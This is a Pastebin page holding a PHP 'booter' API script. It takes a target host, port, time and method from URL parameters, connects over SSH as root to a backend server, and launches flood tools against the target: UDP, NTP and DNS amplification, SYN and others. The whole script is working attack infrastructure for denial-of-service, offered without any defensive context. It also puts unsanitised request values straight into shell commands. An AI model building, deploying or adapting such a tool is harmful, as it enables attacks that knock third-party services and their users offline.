Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- ignore_user_abort(true);
- set_time_limit(1000);
- $server_ip = "";
- $server_pass = "";
- $server_user = "root";
- $key = $_GET['key'];
- $host = $_GET['host'];
- $port = intval($_GET['port']);
- $time = intval($_GET['time']);
- $method = $_GET['method'];
- $action = $_GET['action'];
- $array = array("Batman","Weed","Booter","DNS","TS3","UDP","StormUDP","SUDP","NTP","XSYN");
- $ray = array(""); // Api Key Şifresini Belirleyin.
- if (!empty($key)){
- }else{
- die('');}
- if (in_array($key, $ray)){
- }else{
- die('');}
- if (!empty($time)){
- }else{
- die('');}
- if (!empty($host)){
- }else{
- die('');}
- if (!empty($method)){
- }else{
- die('');}
- if (in_array($method, $array)){
- }else{
- die('');}
- if ($port > 44405){
- die('');}
- if ($time > 1000){
- die('');}
- if(ctype_digit($Time)){
- die('');}
- if(ctype_digit($Port)){
- die('');}
- $rowID = str_replace(".", "", $_GET['host']);
- if ($method == "UDP") { $command = "screen -dmS $rowID perl UDPflood.pl $host $port 20000 $time"; }
- if ($method == "StormUDP") { $command = "screen -dmS $rowID ./StormUDP -d $host -p $port -t $time"; }
- if ($method == "Batman") { $command = "screen -dmS $rowID perl Batman.pl $host $port $time"; }
- if ($method == "Weed") { $command = "screen -dmS $rowID perl weed.pl $host $port $time"; }
- if ($method == "Booter") { $command = "screen -dmS $rowID perl Booter.pl $host $port 20000 $time"; }
- if ($method == "SUDP") { $command = "screen -dmS $rowID ./sudp $host $port faster 1 $time"; }
- if ($method == "NTP") { $command = "screen -dmS $rowID ./ntp $host $port users.txt 1 -1 $time"; }
- if ($method == "XSYN") { $command = "screen -dmS $rowID ./XSYN $host $port 1 -1 $time"; }
- if ($method == "DNS") { $command = "screen -dmS $rowID ./DNS.out $host $port users.txt 1 $time"; }
- if ($method == "TS3") { $command = "screen -dmS $rowID ./X-TS3.out $host $port $time"; }
- if ($action == "STOP") { $command = "screen -X -s $rowID quit"; }
- if (!function_exists("ssh2_connect")) die("");
- if(!($con = ssh2_connect($server_ip, 22))){
- echo "";
- } else {
- if(!ssh2_auth_password($con, $server_user, $server_pass)) {
- echo "";
- } else {
- if (!($stream = ssh2_exec($con, $command ))) {
- echo "";
- } else {
- stream_set_blocking($stream, false);
- $data = "";
- while ($buf = fread($stream,4096)) {
- $data .= $buf;
- }
- echo "";
- fclose($stream);
- }
- }
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement